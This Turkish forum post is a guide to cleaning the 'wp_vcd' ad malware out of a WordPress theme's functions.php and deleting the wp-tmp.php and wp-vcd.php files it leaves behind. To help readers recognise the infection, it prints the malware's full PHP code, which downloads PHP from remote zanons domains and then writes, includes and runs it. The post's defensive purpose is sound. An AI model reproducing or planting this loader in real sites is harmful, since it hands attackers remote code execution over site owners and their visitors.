Neler yeni

WordPress Reklam Virüsü Temizleme (1 Viewer)

Mr.Emre 

RedMaster
onursal
Mesajlar
261
Credits
966
Bu Virüsler Nelere Yol Açar?
WordPress virüs temizleme
işlemi yaparken eklentileri kurcalamışsınızdır. Özellikle eklentileri devre dışı bırakma, kaldırma işlemlerini yapıp, vürüsün bu eklentilerden kaynaklanıp kaynaklanmadığını test etmişsinizdir. Aynı şekilde tema değiştirdiğinizde de bu sorunun çözülmeyeceğini göreceksiniz. Çünkü genelde bu tür virüsler, az önce de bahsettiğim gibi; tema fonksiyon dosyalarından WordPress sisteminin içine sızdığından, bir defa sızma durumunda önce sistemdeki virüsü silmek gerekir.
Genellikle bu virüs, sistemde istenmeyen pop-up reklamların açılmasına neden olabilir. Bunun dışında web sitenizdeki kullanıcılara virüslü dosyalar indirtebilir. İşin en kötü kısmı, bu tür virüsler admin panele giriş yapan kullanıcı tarafından fark edilmez ve kullanıcılar size durumu raporlamadığı sürece bu virüsü fark etmezsiniz. Bundan dolayı sürekli olarak admin girişi ile sitede gezinti yapmak çok sağlıklı değildir. Özellikle bu tür virüslere karşı, sitemizi her zaman kullanıcı gözü ile taramalıyız.

WordPress Virüs Temizleme Nasıl Yapılır?
Sizlere bu konuda son zamanlarda çok fazla yaygın olan bir reklam virüsü temizleme işlemini gerçekleştireceğim. Benzer bir olay sizin de başınıza gelmişse bu şekilde çözebilirsiniz.
1- Öncelikli olarak yapmamız gereken ilk şey temamızda bulunan function.php dosyasını açmak olacaktır. Tema klasörümüzü “/wp-content/themes” dizininde bulabiliriz.
2- Function.php dosyamızın içinde aşağıda belirttiğim kodları arıyoruz, eğer aşağıda belirttiğim virüslü kodlar function.php içerisinde bulunuyorsa, bu kodların aşağıda belirttiğim kısımlarının tamamını kaldırın.

PHP:
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'XXXXXXXXXXXXXXXXXXXXXX')) { if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];


$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?phpn" . $phpCode))
           {
           }
            else
            {
            $tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?phpn" . $phpCode);
            }
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='08b370e35d008b6591dd40b0eec23025';
        if (($tmpcontent = @file_get_contents("http://www.zanons.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.zanons.me/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
          
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif (($tmpcontent = @file_get_contents("http://www.zanons.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.zanons.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
        

    }
}
 
 
?>

3- Kodu sildikten sonra yapmamız gereken son şey; kodun oluşturmuş olduğu iki virüslü dosyayı WordPress sistemimizden silmek olacaktır. Hemen /wp-includes/ klasörünüze girin ve wp-tmp.php ve wp-vcd.php isimli dosyaları silin.
Virüsten artık virüsten kurtuldunuz.
 

Bu konuyu görüntüleyen kullanıcılar